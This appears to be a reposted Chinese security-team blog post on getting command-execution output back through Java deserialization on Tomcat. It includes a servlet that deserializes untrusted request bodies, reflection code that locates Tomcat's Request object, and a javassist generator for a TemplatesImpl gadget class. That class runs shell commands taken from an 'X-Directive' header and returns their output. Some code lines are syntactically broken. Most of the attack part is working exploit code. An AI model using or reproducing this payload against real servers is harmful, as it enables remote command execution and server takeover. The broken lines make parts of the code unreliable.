Java反序列化回显学习之Tomcat通用回显
2023-5-23 17:4:19 Author: Tide安全团队(查看原文) 阅读量:25 收藏

反序列化命令回显和内存马是反序列化漏洞的具体实现,在渗透过程中主要依靠这两种方式来获取目标权限。因此,这是在学习Java反序列化漏洞过程中绕不开的两个点。由于在实战中遇到的环境都是不可预测的,对于渗透从业者来说就要学习各种中间件的回显方式和内存马注入方法。常用的Java反序列化回显的本质上是利用Java反序列化漏洞在服务器上执行Java代码获取Request、Response对象并将命令执行的接口写入返回给请求端。

Java反序列化回显的方式有多种,比如中间件回显、写文件(css、js、txt等)、报错回显等等。其中,通过获取request对象来实现命令执行的回显方式是目前最为通用和弊端最少的方式。基本思路如下:第一步:寻找存储request对象的全局变量 Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。第二步:半自动化反射搜索全局变量 这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。要实现以上的过程需要有相当扎实的代码基础和调试阅读能力,因此推荐一款Java内存对象搜索工具java-object-searcher。通过此工具可以快速方便的找到可利用request对象。

挖掘回显链

环境搭建参考:https://www.cnblogs.com/kibana/p/16084787.html,本次实验环境为JDK1.8、Tomcat8.5.50、idea2020.1,本地搭建环境后使用java-object-searcher 搜索可用request对象,所编写的demo在tomcat7/8上实验通过。给出一个测试例子,在执行反序列化操作处打断点使用java-object-searcher半自动搜索获取利用链。

package com.webtest;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;

public class HelloTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        InputStream is = req.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(is);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doPost(HttpServletRequest req,HttpServletResponse resp) throws IOException {
        InputStream is = req.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(is);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

设置筛选条件如下。

//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\apache-tomcat-7.0.94\\bin");
searcher.searchObject();

在搜索出的利用链中选择一个进行跟进分析。

TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
    ---> group = {java.lang.ThreadGroup} 
        ---> threads = {class [Ljava.lang.Thread;} 
            ---> [16] = {java.lang.Thread} 
                ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
                    ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
                        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
                            ---> global = {org.apache.coyote.RequestGroupInfo}

通过不断的反射调用最终来到global

Thread thread = Thread.currentThread();
ThreadGroup group = thread.getThreadGroup();
Thread[] threads = group.threads;
Thread t = threads[14];
Field f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object target = f.get(t);
f = target.getClass().getDeclaredField("this$0");
f.setAccessible(true);
Object this$0 = f.get(target);
try{
    f = this$0.getClass().getDeclaredField("handler");  
}catch(NoSuchFieldException e){
    f = this$0.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
Object handler = f.get(this$0);
f = handler.getClass().getDeclaredField("global");
f.setAccessible(true);
Object global = f.get(handler);

进而往下可以找到想要的Request对象。

根据利用链获取Request对象获取请求header头特定内容并打印输出。

package com.webtest;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/*
* TargetObject = {org.apache.tomcat.util.threads.TaskThread}
  ---> group = {java.lang.ThreadGroup}
   ---> threads = {class [Ljava.lang.Thread;}
    ---> [16] = {java.lang.Thread}
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
         ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}
          ---> global = {org.apache.coyote.RequestGroupInfo}
          * */

@WebServlet("/demo")
public class TestDemo extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) {
        
        ThreadGroup group = java.lang.Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = null;
        Object obj = null;
        String flag = "hello world";
        Boolean success = false;
        try {
            f = group.getClass().getDeclaredField("threads");
            f.setAccessible(true);
            Thread[] threads = (Thread[]) f.get(group);
            for (int i = 0; i < threads.length; i++) {
                Thread t = threads[i];
                if (t == null ) continue;
                if (t.getName().contains("exec") || !t.getName().contains("http")) continue;
                System.out.println(t.getName());

                f = t.getClass().getDeclaredField("target");
                f.setAccessible(true);
                Object target = f.get(t);
                System.out.println(target.getClass());

                f = target.getClass().getDeclaredField("this$0");
                f.setAccessible(true);
                Object this$0 = f.get(target);
                System.out.println(this$0.getClass());

                try {
                    f = this$0.getClass().getDeclaredField("handler");
                }catch (NoSuchFieldException e0){
                    f = this$0.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
                }
                f.setAccessible(true);
                Object handler = f.get(this$0);

                f = handler.getClass().getDeclaredField("global");
                f.setAccessible(true);
                Object global = f.get(handler);
                System.out.println(global.getClass());

                f = global.getClass().getDeclaredField("processors");
                f.setAccessible(true);
                Object processors = f.get(global);
                System.out.println(processors.getClass());

                java.util.ArrayList processorList = (java.util.ArrayList) processors;
                for (int j = 0; j < processorList.size(); j++) {
                    Object processor = processorList.get(j);
                    System.out.println(processor.getClass());
                    f = processor.getClass().getDeclaredField("req");
                    f.setAccessible(true);
                    Object req = f.get(processor);
                    System.out.println(req.getClass());
                    Object resp = req.getClass().getMethod("getResponse").invoke(req);
                    System.out.println(resp.getClass());
                    flag = (String) req.getClass().getMethod("getHeader",new Class[]{String.class}).invoke(req,new Object[]{"wuhunantong"});

                    if (flag != null && !flag.isEmpty()){
                        try {
                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                            obj = cls.newInstance();
                            cls.getDeclaredMethod("setBytes"byte[].class, int.class, int.class).invoke(obj,flag.getBytes(),new Integer(0),new Integer(flag.getBytes().length));

                            resp.getClass().getDeclaredMethod("setStatus",new Class[]{Integer.TYPE}).invoke(resp,new Object[]{new Integer(404)});
                            resp.getClass().getDeclaredMethod("setHeader",new Class[]{String.class,String.class}).invoke(resp,new Object[]{"flag","1"});
                            resp.getClass().getDeclaredMethod("doWrite",new Class[]{cls}).invoke(resp,new Object[]{obj});

                        }catch (ClassNotFoundException e1){
                            Class cls = Class.forName("java.nio.ByteBuffer");
                            obj = cls.getDeclaredMethod("wrap"new Class[]{byte[].class}).invoke(cls, new Object[]{flag.getBytes()});
                            resp.getClass().getDeclaredMethod("setStatus",new Class[]{Integer.TYPE}).invoke(resp,new Object[]{new Integer(404)});
                            resp.getClass().getDeclaredMethod("setHeader",new Class[]{String.class,String.class}).invoke(resp,new Object[]{"flag","1"});
                            resp.getClass().getMethod("doWrite"new Class[]{cls}).invoke(resp, new Object[]{obj});
                        }
                        success = true;
                    }
                    if (success) break;
                }
                if (success) break;
            }
        } catch (Exception  e) {

        }
    }
}

适配反序列化利用链

TomcatEcho.java:利用javassit动态生成回显类

package util.exploit.templates;

import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import javassist.NotFoundException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;

public class TomcatEcho {
    public static byte[] getBytes() throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        String className = "TnT" + System.nanoTime();
        CtClass ctClass = pool.makeClass(className);

        ctClass.addMethod(CtMethod.make("private static void writeBody(Object var0, byte[] var1) throws Exception {\n        Object var2;\n        Class var3;\n        try {\n            var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n            var2 = var3.newInstance();\n            var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});\n            var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n        } catch (NoSuchMethodException var5) {\n            var3 = Class.forName(\"java.nio.ByteBuffer\");\n            var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{var1});\n            var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n        }\n    }", ctClass));

        ctClass.addMethod(CtMethod.make("private static Object getFV(Object var0, String var1) throws Exception {\n        java.lang.reflect.Field var2 = null;\n        Class var3 = var0.getClass();\n\n        while(var3 != Object.class) {\n            try {\n                var2 = var3.getDeclaredField(var1);\n                break;\n            } catch (NoSuchFieldException var5) {\n                var3 = var3.getSuperclass();\n            }\n        }\n\n        if (var2 == null) {\n            throw new NoSuchFieldException(var1);\n        } else {\n            var2.setAccessible(true);\n            return var2.get(var0);\n        }\n    }", ctClass));

        ctClass.addConstructor(CtNewConstructor.make("public " + className + "() throws Exception {\n        boolean var4 = false;\n        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n        for(int var6 = 0; var6 < var5.length; ++var6) {\n            Thread var7 = var5[var6];\n            if (var7 != null) {\n                String var3 = var7.getName();\n                if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n                    Object var1 = getFV(var7, \"target\");\n                    if (var1 instanceof Runnable) {\n                        try {\n                            var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n                        } catch (Exception var13) {\n                            continue;\n                        }\n\n                        java.util.List var9 = (java.util.List)getFV(var1, \"processors\");\n\n                        for(int var10 = 0; var10 < var9.size(); ++var10) {\n                            Object var11 = var9.get(var10);\n                            var1 = getFV(var11, \"req\");\n                            Object var2 = var1.getClass().getMethod(\"getResponse\", new Class[0]).invoke(var1, new Object[0]);\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"X-Test\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{\"X-Test\", var3});\n                                var4 = true;\n                            }\n\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"X-Directive\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n                                writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n                                var4 = true;\n                            }\n\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"showpath\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                writeBody(var2, Thread.currentThread().getContextClassLoader().getResource(\"\").getPath().getBytes());\n                                var4 = true;\n                            }\n\n                            if (var4) break;\n                        }\n\n                        if (var4) break;\n                    }\n                }\n            }\n        }\n    }", ctClass));

        CtClass superC = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superC);

        ctClass.getClassFile().setMajorVersion(50);

        return ctClass.toBytecode();
    }
}

修改payload.java

修改Gadget.java#creatTemplatesImpl 添加回显支持

本地测试可以正常得到执行回显结果。

https://github.com/feihong-cs/Java-Rce-Echo/ https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

详细工具可在知识星球下载。

往期推荐

敏感信息泄露

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D


知识星球产品及服务

团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

扫码加入一起学习吧~


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247511166&idx=1&sn=13219650b1af0b3b691bf17ff6de5de8&chksm=ce5d8e1ff92a070941652dd7e189cf38c9d168b5f40aecd90815d72a3e28834c0341cb512951#rd
如有侵权请联系:admin#unsafe.sh